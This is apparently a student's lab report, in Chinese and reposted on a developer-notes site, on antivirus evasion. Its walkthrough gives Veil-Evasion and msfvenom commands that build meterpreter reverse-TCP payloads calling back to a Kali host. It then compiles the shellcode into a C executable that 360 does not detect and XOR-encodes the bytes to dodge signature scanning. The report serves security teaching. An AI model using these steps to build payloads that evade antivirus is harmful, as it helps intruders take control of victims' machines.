热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

20145218免杀原理与实践

20145218张晓涵免杀原理与实践基础知识如何检测出恶意代码基于特征码的检测:分析指令的统计特性、代码的结构特性等。如果一个可执行文件(或其他运行的库、脚本等)拥有一般恶意代码所通有的特征(开启后

20145218张晓涵 免杀原理与实践

基础知识

  • 如何检测出恶意代码
    • 基于特征码的检测:分析指令的统计特性、代码的结构特性等。如果一个可执行文件(或其他运行的库、脚本等)拥有一般恶意代码所通有的特征(开启后门等)则被认为是恶意代码
    • 启发式恶意软件检测:构成恶意代码的指令的含义,根据些片面特征去推断。
    • 基于行为的动态分析检测:通过监视恶意代码运行过程。如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
  • 什么是免杀及如何进行免杀
    • 免杀,字面意思上理解,就是“反-杀毒”,也就是通过一定的手段,使得杀毒工具无法检测出来软件病毒或者木马之类的“干扰性”特征。免杀的方法包括:
    • 修改特征码:用一些工具找出特征码并针对特征码做免杀处理。
      • 文件加壳:可以用一些比较生僻的壳对木马文件进行保护,阻止外部程序或软件对加壳程序的反汇编分析或者动态分析。
      • 在有shellcode的情况下,用encode进行编码,payload重新编译生成可执行文件
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 非常规方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件

实验过程

采用免杀平台Veil-Evasion生成后门软件

  • Veil-Evasion是一个免杀平台,输入veil-evasion,进入软件,输入以下指令:
  • use python/meterpreter/rev_tcp
  • set LHOST 192.168.80.130 //设置攻击机IP
  • set LPOST 443 //设置端口
  • generate //生成exe文件
  • Please enter the base name for output files (default is 'payload'):5218 // 程序名
  • 1 //这里一共有1、2、3三种选择,一般选择1是默认配置
  • 生成完后如图所示:(文件名和路径名在下图绿字显示)

  • 将.exe文件拷贝出来到靶机上,放在某个路径下(保证杀毒软件开启),发现被查杀,然后找回原文件。

  • 用VirSCAN.org进行检测

  • kali成功获取权限

  • 其实可以看出,免杀平台生成的软件还是会被杀掉,所以自己修改shellcode才是王道。

C语言调用Shellcode

  • 用指令会生成一个c语言格式的Shellcode数组。指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.30 LPORT=443 -f c
  • 将下图代码从虚拟机里copy出来,用Microsoft Visual Studio 2013或者Visual C++ 6.0进行编译运行生成可执行文件。

  • 在kali下进入MSF打开监听进程,如何设置监听可参考http://www.cnblogs.com/senlinmilelu/p/6556169.html在靶机上运行,kali成功获取权限

  • 这一次检测通过,没有被360查杀,电脑版本win8
  • 用VirSCAN.org进行检测

修改shellcode

  • 用指令生成的shellcode数组,仍是会被发现,所以我们可以对这个数组做一些变化,比如对奇偶位分别进行异或:
奇数位异或85,即01010101
偶数位异或170,即10101010

将原数组的内容进行改变,这样在杀软检查时被发现的几率就减小了

  • 用VirSCAN.org进行检测

  • kali成功获取权限

实验思考

  • 离实战还缺些什么技术或步骤
    • 我们的病毒被查杀的几率还是很大,而杀软病毒库一直在更新,我们新编的可能用不了几天就被发现了,所以我们如果能自己编还是比较牛的。
  • 实验总结与体会
    • 我们以前就是总以为有了防火墙和各种杀毒软件就可以了,电脑也从来不更新升级,不修补漏洞,现在想想真的很后怕,说不定自己的电脑已经不安全了。这些实验不光教给我们如何做免杀,更是要注意自身的安全

推荐阅读
  • 本文深入探讨了计算机网络的基础概念和关键协议,帮助初学者掌握网络编程的必备知识。从网络结构到分层模型,再到传输层协议和IP地址分类,文章全面覆盖了网络编程的核心内容。 ... [详细]
  • 在尝试用另一台电脑的MySQL文件替换本地D:\xampp\mysql目录后,MySQL服务无法启动。错误提示显示MySQL意外关闭,可能是由于端口冲突、依赖缺失、权限问题或崩溃等原因引起。 ... [详细]
  • PHP 过滤器详解
    本文深入探讨了 PHP 中的过滤器机制,包括常见的 $_SERVER 变量、filter_has_var() 函数、filter_id() 函数、filter_input() 函数及其数组形式、filter_list() 函数以及 filter_var() 和其数组形式。同时,详细介绍了各种过滤器的用途和用法。 ... [详细]
  • 本文探讨了如何使用自增和自减运算符遍历二维数组中的元素。通过实例详细解释了指针与二维数组结合使用的正确方法,并解答了常见的错误用法。 ... [详细]
  • 本文详细介绍了C语言的起源、发展及其标准化过程,涵盖了从早期的BCPL和B语言到现代C语言的演变,并探讨了其在操作系统和跨平台编程中的重要地位。 ... [详细]
  • 在成功安装和测试MySQL及Apache之后,接下来的步骤是安装PHP。为了确保安全性和配置的一致性,建议在安装PHP前先停止MySQL和Apache服务,并将MySQL集成到PHP中。 ... [详细]
  • 阿里云ecs怎么配置php环境,阿里云ecs配置选择 ... [详细]
  • 黑鸟安全团队发布最新警告,Apache Struts2框架曝出S2-048高危漏洞。目前该漏洞的攻击代码(POC)已公开,建议各企业和组织立即检查是否使用了受影响的Struts2版本,并采取相应措施进行防护。 ... [详细]
  • 2018年3月31日,CSDN、火星财经联合中关村区块链产业联盟等机构举办的2018区块链技术及应用峰会(BTA)核心分会场圆满举行。多位业内顶尖专家深入探讨了区块链的核心技术原理及其在实际业务中的应用。 ... [详细]
  • 本文详细介绍了C语言中的指针,包括其基本概念、应用场景以及使用时的优缺点。同时,通过实例解析了指针在内存管理、数组操作、函数调用等方面的具体应用,并探讨了指针的安全性问题。 ... [详细]
  • C语言标准及其GCC编译器版本
    编程语言的发展离不开持续的维护和更新。本文将探讨C语言的标准演变以及GCC编译器如何支持这些标准,确保其与时俱进,满足现代开发需求。 ... [详细]
  • 20100423:Fixes:更新批处理,以兼容WIN7。第一次系统地玩QT,于是诞生了此预备式:【QT版本4.6.0&#x ... [详细]
  • 尽管深度学习带来了广泛的应用前景,其训练通常需要强大的计算资源。然而,并非所有开发者都能负担得起高性能服务器或专用硬件。本文探讨了如何在有限的硬件条件下(如ARM CPU)高效运行深度神经网络,特别是通过选择合适的工具和框架来加速模型推理。 ... [详细]
  • 解析SQL查询结果的排序问题及其解决方案
    本文探讨了为什么某些SQL查询返回的数据集未能按预期顺序排列,并提供了详细的解决方案,帮助开发者理解并解决这一常见问题。 ... [详细]
  • 深入解析Redis内存对象模型
    本文详细介绍了Redis内存对象模型的关键知识点,包括内存统计、内存分配、数据存储细节及优化策略。通过实际案例和专业分析,帮助读者全面理解Redis内存管理机制。 ... [详细]
author-avatar
陈建希佳旭
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有